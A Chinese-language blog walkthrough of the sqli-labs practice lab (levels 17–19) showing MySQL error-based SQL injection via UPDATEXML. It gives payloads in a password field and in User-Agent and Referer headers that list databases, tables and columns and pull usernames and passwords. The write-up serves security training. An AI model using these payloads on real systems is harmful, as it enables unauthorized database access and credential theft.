补充知识

参考链接:

https://www.jb51.net/article/125599.htm

https://www.jb51.net/article/125607.htm

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值

而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误

 

 Less-17

首先添加代码,这里与以往不同,有两处

 

 

通过登陆观察可以发现,这是一个更新密码的功能

 

 

 

由下图可知,当usename正确时,sql语句中的密码才能显示出来

 

 所以,首先我们需要知道用户的名字才能进行接下来的操作

uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

 

查库  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

 

 查表  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

 

 查列  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submit

 

 查数据  uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

这里需要使用两层select查询,否则会报错

 

Less-18

添加两段代码

 

 

 

登陆可以发现,登陆成功显示ip地址,sql语句,版本信息

登陆失败只显示ip,如果反复登录失败可能是上一关把密码改了的原因,需要重置数据库,选择Setup/reset Database for labs,重置即可

 

 

 

 

 这一次无法在用户名和密码进行注入,发生了转义

 

 我们使用burpsuit抓包

 

 

 抓包后,在Headers里修改User-Agent里面,构造注入语句   'or updatexml(1,concat(0x7e,(database())),1) or '1'='1

或者  'or updatexml(1,concat(0x7e,(database())),1) ,",")#   (注意最后不是双引号,是两对单引号)

 

 

 

查库  'or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1

 

 查表 'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) or '1'='1

 

 查列 'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) or '1'='1

 

 查信息   'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) or '1'='1

 

 

Less-19

 

通过分析登陆成功的语句,发现语句为inferer

 

 使用burpsuit抓包

 

 其他步骤与上一关相同,构造语句也是相同的

 

 posted on 2020-02-22 10:33  骑着七彩祥云的少年  阅读(164)  评论(0编辑  收藏  举报